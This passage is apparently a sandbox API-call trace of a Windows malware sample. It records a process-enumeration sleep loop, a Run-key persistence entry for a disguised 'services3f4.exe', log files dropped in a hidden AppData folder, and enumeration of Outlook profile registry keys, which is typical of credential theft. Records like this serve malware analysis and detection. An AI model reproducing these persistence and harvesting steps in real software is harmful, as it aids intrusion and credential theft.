Length=0x10000, ResultLength=0x0 | out: SystemInformation=0xd0000, ResultLength=0x0) returned 0x0 [0107.026] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x29e8bc*=0xd0000, RegionSize=0x29e8c0, FreeType=0x8000) returned 0x0 [0107.026] NtDelayExecution (Alertable=0, Interval=0x29e288*=-50000000) returned 0x0 [0112.028] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x29e278*=0x0, ZeroBits=0x0, RegionSize=0x29e27c*=0x10000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x29e278*=0xd0000, RegionSize=0x29e27c*=0x10000) returned 0x0 [0112.028] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xd0000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0xd0000, ResultLength=0x0) returned 0x0 [0112.070] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x29e8bc*=0xd0000, RegionSize=0x29e8c0, FreeType=0x8000) returned 0x0 [0112.070] NtDelayExecution (Alertable=0, Interval=0x29e288*=-50000000) returned 0x0 [0117.066] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x29e278*=0x0, ZeroBits=0x0, RegionSize=0x29e27c*=0x10000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x29e278*=0xd0000, RegionSize=0x29e27c*=0x10000) returned 0x0 [0117.066] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xd0000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0xd0000, ResultLength=0x0) returned 0x0 [0117.106] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x29e8bc*=0xd0000, RegionSize=0x29e8c0, FreeType=0x8000) returned 0x0 [0117.106] NtDelayExecution (Alertable=0, Interval=0x29e288*=-50000000) returned 0x0 [0122.104] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x29e278*=0x0, ZeroBits=0x0, RegionSize=0x29e27c*=0x10000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x29e278*=0xd0000, RegionSize=0x29e27c*=0x10000) returned 0x0 [0122.104] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xd0000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0xd0000, ResultLength=0x0) returned 0x0 [0122.143] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x29e8bc*=0xd0000, RegionSize=0x29e8c0, FreeType=0x8000) returned 0x0 [0122.144] NtDelayExecution (Alertable=0, Interval=0x29e288*=-50000000) returned 0x0 [0127.143] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x29e278*=0x0, ZeroBits=0x0, RegionSize=0x29e27c*=0x10000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x29e278*=0xd0000, RegionSize=0x29e27c*=0x10000) returned 0x0 [0127.143] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xd0000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0xd0000, ResultLength=0x0) returned 0x0 [0127.191] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x29e8bc*=0xd0000, RegionSize=0x29e8c0, FreeType=0x8000) returned 0x0 [0127.192] NtDelayExecution (Alertable=0, Interval=0x29e288*=-50000000) returned 0x0 [0132.275] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x29e278*=0x0, ZeroBits=0x0, RegionSize=0x29e27c*=0x10000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x29e278*=0xd0000, RegionSize=0x29e27c*=0x10000) returned 0x0 [0132.275] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xd0000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0xd0000, ResultLength=0x0) returned 0x0 [0132.326] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x29e8bc*=0xd0000, RegionSize=0x29e8c0, FreeType=0x8000) returned 0x0 [0132.326] NtDelayExecution (Alertable=0, Interval=0x29e288*=-50000000) returned 0x0 [0139.326] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x29e278*=0x0, ZeroBits=0x0, RegionSize=0x29e27c*=0x10000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x29e278*=0xd0000, RegionSize=0x29e27c*=0x10000) returned 0x0 [0139.326] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xd0000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0xd0000, ResultLength=0x0) returned 0x0 [0139.375] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x29e8bc*=0xd0000, RegionSize=0x29e8c0, FreeType=0x8000) returned 0x0 [0139.375] NtDelayExecution (Alertable=0, Interval=0x29e288*=-50000000) returned 0x0 [0144.554] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x29e278*=0x0, ZeroBits=0x0, RegionSize=0x29e27c*=0x10000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x29e278*=0xd0000, RegionSize=0x29e27c*=0x10000) returned 0x0 [0144.555] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xd0000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0xd0000, ResultLength=0x0) returned 0x0 [0144.598] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x29e8bc*=0xd0000, RegionSize=0x29e8c0, FreeType=0x8000) returned 0x0 [0144.598] NtDelayExecution (Alertable=0, Interval=0x29e288*=-50000000) returned 0x0 [0149.597] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x29e278*=0x0, ZeroBits=0x0, RegionSize=0x29e27c*=0x10000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x29e278*=0xd0000, RegionSize=0x29e27c*=0x10000) returned 0x0 [0149.599] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xd0000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0xd0000, ResultLength=0x0) returned 0x0 [0149.665] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x29e8bc*=0xd0000, RegionSize=0x29e8c0, FreeType=0x8000) returned 0x0 [0149.665] NtDelayExecution (Alertable=0, Interval=0x29e288*=-50000000) returned 0x0 [0154.675] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x29e278*=0x0, ZeroBits=0x0, RegionSize=0x29e27c*=0x10000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x29e278*=0xd0000, RegionSize=0x29e27c*=0x10000) returned 0x0 [0154.675] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xd0000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0xd0000, ResultLength=0x0) returned 0x0 [0154.719] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x29e8bc*=0xd0000, RegionSize=0x29e8c0, FreeType=0x8000) returned 0x0 [0154.758] NtDelayExecution (Alertable=0, Interval=0x29e288*=-50000000) returned 0x0 [0159.762] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x29e264 | out: TokenHandle=0x29e264*=0x78) returned 0x0 [0159.762] NtQueryInformationToken (in: TokenHandle=0x78, TokenInformationClass=0x14, TokenInformation=0x29e25c, TokenInformationLength=0x4, ReturnLength=0x29e260 | out: TokenInformation=0x29e25c, ReturnLength=0x29e260) returned 0x0 [0159.762] NtClose (Handle=0x78) returned 0x0 [0159.762] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Lihhl\\services3f4.exe", NtPathName=0x29e234, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Lihhl\\services3f4.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0159.762] NtCreateFile (in: FileHandle=0x29e254, DesiredAccess=0x12019f, ObjectAttributes=0x29e21c*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Program Files (x86)\\Lihhl\\services3f4.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29e23c, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29e254*=0x0, IoStatusBlock=0x29e23c*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0159.763] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Lihhl\\services3f4.exe", NtPathName=0x29e224, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Lihhl\\services3f4.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0159.763] NtCreateFile (in: FileHandle=0x29e244, DesiredAccess=0x120089, ObjectAttributes=0x29e20c*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Program Files (x86)\\Lihhl\\services3f4.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29e22c, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29e244*=0x0, IoStatusBlock=0x29e22c*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0159.763] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x29de34 | out: TokenHandle=0x29de34*=0x78) returned 0x0 [0159.763] NtQueryInformationToken (in: TokenHandle=0x78, TokenInformationClass=0x1, TokenInformation=0x29d62c, TokenInformationLength=0x400, ReturnLength=0x29de2c | out: TokenInformation=0x29d62c, ReturnLength=0x29de2c) returned 0x0 [0159.763] ConvertSidToStringSidW () returned 0x1 [0159.763] NtClose (Handle=0x78) returned 0x0 [0161.182] NtCreateKey (in: KeyHandle=0x29e26c, DesiredAccess=0x2021f, ObjectAttributes=0x29de30*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\User\\S-1-5-21-2345716840-1148442690-1481144037-1000\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), TitleIndex=0x0, Class=0x0, CreateOptions=0x0, Disposition=0x0 | out: KeyHandle=0x29e26c*=0x0) returned 0xc0000022 [0161.182] NtCreateKey (in: KeyHandle=0x29e26c, DesiredAccess=0x2021f, ObjectAttributes=0x29de30*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\User\\S-1-5-21-2345716840-1148442690-1481144037-1000\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), TitleIndex=0x0, Class=0x0, CreateOptions=0x0, Disposition=0x0 | out: KeyHandle=0x29e26c*=0x78) returned 0x0 [0161.622] NtSetValueKey (in: KeyHandle=0x78, ValueName="J0HDI47HUBA", TitleIndex=0x0, Type=0x1, Data="C:\\Program Files (x86)\\Lihhl\\services3f4.exe", DataSize=0x58 | out: Data="C:\\Program Files (x86)\\Lihhl\\services3f4.exe") returned 0x0 [0161.623] NtClose (Handle=0x78) returned 0x0 [0161.623] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Lihhl\\services3f4.exe", NtPathName=0x29e238, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Lihhl\\services3f4.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.623] NtCreateFile (in: FileHandle=0x29e258, DesiredAccess=0x12019f, ObjectAttributes=0x29e220*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Program Files (x86)\\Lihhl\\services3f4.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29e240, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29e258*=0x0, IoStatusBlock=0x29e240*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0161.623] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Lihhl\\services3f4.exe", NtPathName=0x29e228, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Lihhl\\services3f4.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.623] NtCreateFile (in: FileHandle=0x29e248, DesiredAccess=0x120089, ObjectAttributes=0x29e210*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Program Files (x86)\\Lihhl\\services3f4.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29e230, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29e248*=0x0, IoStatusBlock=0x29e230*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0161.623] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F", NtPathName=0x29e248, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.623] NtCreateFile (in: FileHandle=0x29e268, DesiredAccess=0x100181, ObjectAttributes=0x29e230*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29e250, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x21, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29e268*=0x78, IoStatusBlock=0x29e250*(Status=0x0, Pointer=0x0, Information=0x2)) returned 0x0 [0161.623] NtQueryInformationFile (in: FileHandle=0x78, IoStatusBlock=0x29e250, FileInformation=0x29e1f0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x29e250, FileInformation=0x29e1f0) returned 0x0 [0161.627] NtSetInformationFile (FileHandle=0x78, IoStatusBlock=0x29e250, FileInformation=0x29e1f0, Length=0x28, FileInformationClass=0x4) returned 0x0 [0161.627] NtClose (Handle=0x78) returned 0x0 [0161.627] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946log.ini", NtPathName=0x29e238, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946log.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.627] NtCreateFile (in: FileHandle=0x29e258, DesiredAccess=0x12019f, ObjectAttributes=0x29e220*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946log.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29e240, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29e258*=0x78, IoStatusBlock=0x29e240*(Status=0x0, Pointer=0x0, Information=0x2)) returned 0x0 [0161.627] NtClose (Handle=0x78) returned 0x0 [0161.628] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x29dbd0 | out: TokenHandle=0x29dbd0*=0x78) returned 0x0 [0161.628] NtQueryInformationToken (in: TokenHandle=0x78, TokenInformationClass=0x1, TokenInformation=0x29d3c8, TokenInformationLength=0x400, ReturnLength=0x29dbc8 | out: TokenInformation=0x29d3c8, ReturnLength=0x29dbc8) returned 0x0 [0161.628] ConvertSidToStringSidW () returned 0x1 [0161.628] NtClose (Handle=0x78) returned 0x0 [0161.628] NtCreateKey (in: KeyHandle=0x29e244, DesiredAccess=0x20219, ObjectAttributes=0x29dbcc*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\User\\S-1-5-21-2345716840-1148442690-1481144037-1000\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), TitleIndex=0x0, Class=0x0, CreateOptions=0x0, Disposition=0x0 | out: KeyHandle=0x29e244*=0x0) returned 0xc0000034 [0161.628] NtCreateKey (in: KeyHandle=0x29e244, DesiredAccess=0x20219, ObjectAttributes=0x29dbc4*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\User\\S-1-5-21-2345716840-1148442690-1481144037-1000\\SOFTWARE\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), TitleIndex=0x0, Class=0x0, CreateOptions=0x0, Disposition=0x0 | out: KeyHandle=0x29e244*=0x0) returned 0xc0000034 [0161.628] NtCreateKey (in: KeyHandle=0x29e244, DesiredAccess=0x20219, ObjectAttributes=0x29dbe0*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\User\\S-1-5-21-2345716840-1148442690-1481144037-1000\\SOFTWARE\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), TitleIndex=0x0, Class=0x0, CreateOptions=0x0, Disposition=0x0 | out: KeyHandle=0x29e244*=0x78) returned 0x0 [0161.628] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29dabc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.628] NtCreateFile (in: FileHandle=0x29dadc, DesiredAccess=0x120089, ObjectAttributes=0x29daa4*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29dac4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29dadc*=0x0, IoStatusBlock=0x29dac4*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc0000034 [0161.628] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29dad4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.628] NtCreateFile (in: FileHandle=0x29daf4, DesiredAccess=0x12019f, ObjectAttributes=0x29dabc*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29dadc, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29daf4*=0xbc, IoStatusBlock=0x29dadc*(Status=0x0, Pointer=0x0, Information=0x2)) returned 0x0 [0161.628] NtQueryInformationFile (in: FileHandle=0xbc, IoStatusBlock=0x29dadc, FileInformation=0x29da34, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29dadc, FileInformation=0x29da34) returned 0x0 [0161.632] NtWriteFile (in: FileHandle=0xbc, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29dadc, Buffer=0x308730*, Length=0x28, ByteOffset=0x29da4c*=0, Key=0x0 | out: IoStatusBlock=0x29dadc, Buffer=0x308730*) returned 0x0 [0161.633] NtClose (Handle=0xbc) returned 0x0 [0161.636] NtEnumerateKey (in: KeyHandle=0x78, Index=0x0, KeyInformationClass=0x0, KeyInformation=0x29d794, Length=0x200, ResultLength=0x29dbdc | out: KeyInformation=0x29d794, ResultLength=0x29dbdc) returned 0x0 [0161.636] NtCreateKey (in: KeyHandle=0x29dbe8, DesiredAccess=0x20219, ObjectAttributes=0x29cf4c*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\User\\S-1-5-21-2345716840-1148442690-1481144037-1000\\SOFTWARE\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), TitleIndex=0x0, Class=0x0, CreateOptions=0x0, Disposition=0x0 | out: KeyHandle=0x29dbe8*=0xbc) returned 0x0 [0161.636] NtEnumerateKey (in: KeyHandle=0xbc, Index=0x0, KeyInformationClass=0x0, KeyInformation=0x29d394, Length=0x400, ResultLength=0x29dbf0 | out: KeyInformation=0x29d394, ResultLength=0x29dbf0) returned 0x8000001a [0161.636] NtClose (Handle=0xbc) returned 0x0 [0161.636] NtEnumerateKey (in: KeyHandle=0x78, Index=0x1, KeyInformationClass=0x0, KeyInformation=0x29d794, Length=0x200, ResultLength=0x29dbdc | out: KeyInformation=0x29d794, ResultLength=0x29dbdc) returned 0x0 [0161.636] NtCreateKey (in: KeyHandle=0x29dbe8, DesiredAccess=0x20219, ObjectAttributes=0x29cf4c*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\User\\S-1-5-21-2345716840-1148442690-1481144037-1000\\SOFTWARE\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), TitleIndex=0x0, Class=0x0, CreateOptions=0x0, Disposition=0x0 | out: KeyHandle=0x29dbe8*=0xbc) returned 0x0 [0161.636] NtEnumerateKey (in: KeyHandle=0xbc, Index=0x0, KeyInformationClass=0x0, KeyInformation=0x29d394, Length=0x400, ResultLength=0x29dbf0 | out: KeyInformation=0x29d394, ResultLength=0x29dbf0) returned 0x8000001a [0161.636] NtClose (Handle=0xbc) returned 0x0 [0161.636] NtEnumerateKey (in: KeyHandle=0x78, Index=0x2, KeyInformationClass=0x0, KeyInformation=0x29d794, Length=0x200, ResultLength=0x29dbdc | out: KeyInformation=0x29d794, ResultLength=0x29dbdc) returned 0x0 [0161.636] NtCreateKey (in: KeyHandle=0x29dbe8, DesiredAccess=0x20219, ObjectAttributes=0x29cf4c*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\User\\S-1-5-21-2345716840-1148442690-1481144037-1000\\SOFTWARE\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), TitleIndex=0x0, Class=0x0, CreateOptions=0x0, Disposition=0x0 | out: KeyHandle=0x29dbe8*=0xbc) returned 0x0 [0161.636] NtEnumerateKey (in: KeyHandle=0xbc, Index=0x0, KeyInformationClass=0x0, KeyInformation=0x29d394, Length=0x400, ResultLength=0x29dbf0 | out: KeyInformation=0x29d394, ResultLength=0x29dbf0) returned 0x8000001a [0161.637] NtClose (Handle=0xbc) returned 0x0 [0161.637] NtEnumerateKey (in: KeyHandle=0x78, Index=0x3, KeyInformationClass=0x0, KeyInformation=0x29d794, Length=0x200, ResultLength=0x29dbdc | out: KeyInformation=0x29d794, ResultLength=0x29dbdc) returned 0x0 [0161.637] NtCreateKey (in: KeyHandle=0x29dbe8, DesiredAccess=0x20219, ObjectAttributes=0x29cf4c*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\User\\S-1-5-21-2345716840-1148442690-1481144037-1000\\SOFTWARE\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), TitleIndex=0x0, Class=0x0, CreateOptions=0x0, Disposition=0x0 | out: KeyHandle=0x29dbe8*=0xbc) returned 0x0 [0161.637] NtEnumerateKey (in: KeyHandle=0xbc, Index=0x0, KeyInformationClass=0x0, KeyInformation=0x29d394, Length=0x400, ResultLength=0x29dbf0 | out: KeyInformation=0x29d394, ResultLength=0x29dbf0) returned 0x8000001a [0161.637] NtClose (Handle=0xbc) returned 0x0 [0161.637] NtEnumerateKey (in: KeyHandle=0x78, Index=0x4, KeyInformationClass=0x0, KeyInformation=0x29d794, Length=0x200, ResultLength=0x29dbdc | out: KeyInformation=0x29d794, ResultLength=0x29dbdc) returned 0x0 [0161.637] NtCreateKey (in: KeyHandle=0x29dbe8, DesiredAccess=0x20219, ObjectAttributes=0x29cf4c*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\User\\S-1-5-21-2345716840-1148442690-1481144037-1000\\SOFTWARE\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), TitleIndex=0x0, Class=0x0, CreateOptions=0x0, Disposition=0x0 | out: KeyHandle=0x29dbe8*=0xbc) returned 0x0 [0161.637] NtEnumerateKey (in: KeyHandle=0xbc, Index=0x0, KeyInformationClass=0x0, KeyInformation=0x29d394, Length=0x400, ResultLength=0x29dbf0 | out: KeyInformation=0x29d394, ResultLength=0x29dbf0) returned 0x8000001a [0161.637] NtClose (Handle=0xbc) returned 0x0 [0161.637] NtEnumerateKey (in: KeyHandle=0x78, Index=0x5, KeyInformationClass=0x0, KeyInformation=0x29d794, Length=0x200, ResultLength=0x29dbdc | out: KeyInformation=0x29d794, ResultLength=0x29dbdc) returned 0x0 [0161.637] NtCreateKey (in: KeyHandle=0x29dbe8, DesiredAccess=0x20219, ObjectAttributes=0x29cf4c*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\User\\S-1-5-21-2345716840-1148442690-1481144037-1000\\SOFTWARE\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), TitleIndex=0x0, Class=0x0, CreateOptions=0x0, Disposition=0x0 | out: KeyHandle=0x29dbe8*=0xbc) returned 0x0 [0161.637] NtEnumerateKey (in: KeyHandle=0xbc, Index=0x0, KeyInformationClass=0x0, KeyInformation=0x29d394, Length=0x400, ResultLength=0x29dbf0 | out: KeyInformation=0x29d394, ResultLength=0x29dbf0) returned 0x8000001a [0161.637] NtClose (Handle=0xbc) returned 0x0 [0161.637] NtEnumerateKey (in: KeyHandle=0x78, Index=0x6, KeyInformationClass=0x0, KeyInformation=0x29d794, Length=0x200, ResultLength=0x29dbdc | out: KeyInformation=0x29d794, ResultLength=0x29dbdc) returned 0x0 [0161.637] NtCreateKey (in: KeyHandle=0x29dbe8, DesiredAccess=0x20219, ObjectAttributes=0x29cf4c*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\User\\S-1-5-21-2345716840-1148442690-1481144037-1000\\SOFTWARE\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), TitleIndex=0x0, Class=0x0, CreateOptions=0x0, Disposition=0x0 | out: KeyHandle=0x29dbe8*=0xbc) returned 0x0 [0161.637] NtEnumerateKey (in: KeyHandle=0xbc, Index=0x0, KeyInformationClass=0x0, KeyInformation=0x29d394, Length=0x400, ResultLength=0x29dbf0 | out: KeyInformation=0x29d394, ResultLength=0x29dbf0) returned 0x8000001a [0161.637] NtClose (Handle=0xbc) returned 0x0 [0161.637] NtEnumerateKey (in: KeyHandle=0x78, Index=0x7, KeyInformationClass=0x0, KeyInformation=0x29d794, Length=0x200, ResultLength=0x29dbdc | out: KeyInformation=0x29d794, ResultLength=0x29dbdc) returned 0x0 [0161.637] NtCreateKey (in: KeyHandle=0x29dbe8, DesiredAccess=0x20219, ObjectAttributes=0x29cf4c*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\User\\S-1-5-21-2345716840-1148442690-1481144037-1000\\SOFTWARE\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), TitleIndex=0x0, Class=0x0, CreateOptions=0x0, Disposition=0x0 | out: KeyHandle=0x29dbe8*=0xbc) returned 0x0 [0161.637] NtEnumerateKey (in: KeyHandle=0xbc, Index=0x0, KeyInformationClass=0x0, KeyInformation=0x29d394, Length=0x400, ResultLength=0x29dbf0 | out: KeyInformation=0x29d394, ResultLength=0x29dbf0) returned 0x8000001a [0161.637] NtClose (Handle=0xbc) returned 0x0 [0161.637] NtEnumerateKey (in: 